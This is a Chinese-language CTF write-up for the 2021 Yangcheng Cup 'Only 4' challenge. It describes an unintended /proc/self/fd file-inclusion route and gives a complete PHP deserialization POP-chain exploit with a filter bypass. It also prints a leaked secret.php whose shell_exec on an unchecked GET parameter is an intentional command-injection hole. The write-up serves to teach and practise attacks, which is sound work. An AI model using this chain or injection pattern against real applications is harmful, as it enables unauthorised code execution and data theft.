> For the complete documentation index, see [llms.txt](https://gitbook-88.gitbook.io/ctf-writeup/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://gitbook-88.gitbook.io/ctf-writeup/2021/2021-yang-cheng-bei/only-4.md).

# Only 4

非预期就是直接文件包含/proc/self/fd/8日志文件然后直接读flag。

预期的话我觉得有点扯，先是你得先知道有serialize.php这么一个文件，全靠扫描

然后写poc，这里的链子很简单，按顺序写下来的。

```
<?php
class start_gg
{
    public $mod1;
    public $mod2;

    public function __construct($mod1) {
        $this->mod1 = $mod1;
    }

    public function __destruct()
    {
        $this->mod1->test1();
    }
}
class Call
{
    public $mod1;
    public $mod2;

    public function __construct($mod1) {
        $this->mod1 = $mod1;
    }

    public function test1()
    {
        $this->mod1->test2();
    }
}
class funct
{
    public $mod1;
    public $mod2;

    public function __construct($mod1) {
        $this->mod1 = $mod1;
    }

    public function __call($test2,$arr)
    {
        $s1 = $this->mod1;
        $s1();
    }
}
class func
{
    public $mod1;
    public $mod2;

    public function __construct($mod1) {
        $this->mod1 = $mod1;
    }

    public function __invoke()
    {
        $this->mod2 = "字符串拼接".$this->mod1;
    }
}
class string1
{
    public $str1;
    public $str2;

    public function __construct($str1)
    {
        $this->str1 = $str1;
    }

    public function __toString()
    {
        $this->str1->get_flag();
        return "1";
    }
}
class GetFlag
{
    public function __construct()
    {
    }

    public function get_flag()
    {

        echo highlight_file('serialize.php');
    }
}

$getflag = new GetFlag();
$string1 = new string1($getflag);
$func = new func($string1);
$funct = new funct($func);
$call = new Call($funct);
$start_gg = new start_gg($call);
echo serialize($start_gg);
```

生成的链子Flag被过滤，改成小写可以绕过。读secret.php的源码

```
<?php
error_reporting(0);
if(strlen($_GET['SXF'])<5){
    echo shell_exec($_GET['SXF']);
}
?>
```

这里是一个短命令执行，CTF-show有出过类似的题目，可以参考一下他们的文章。
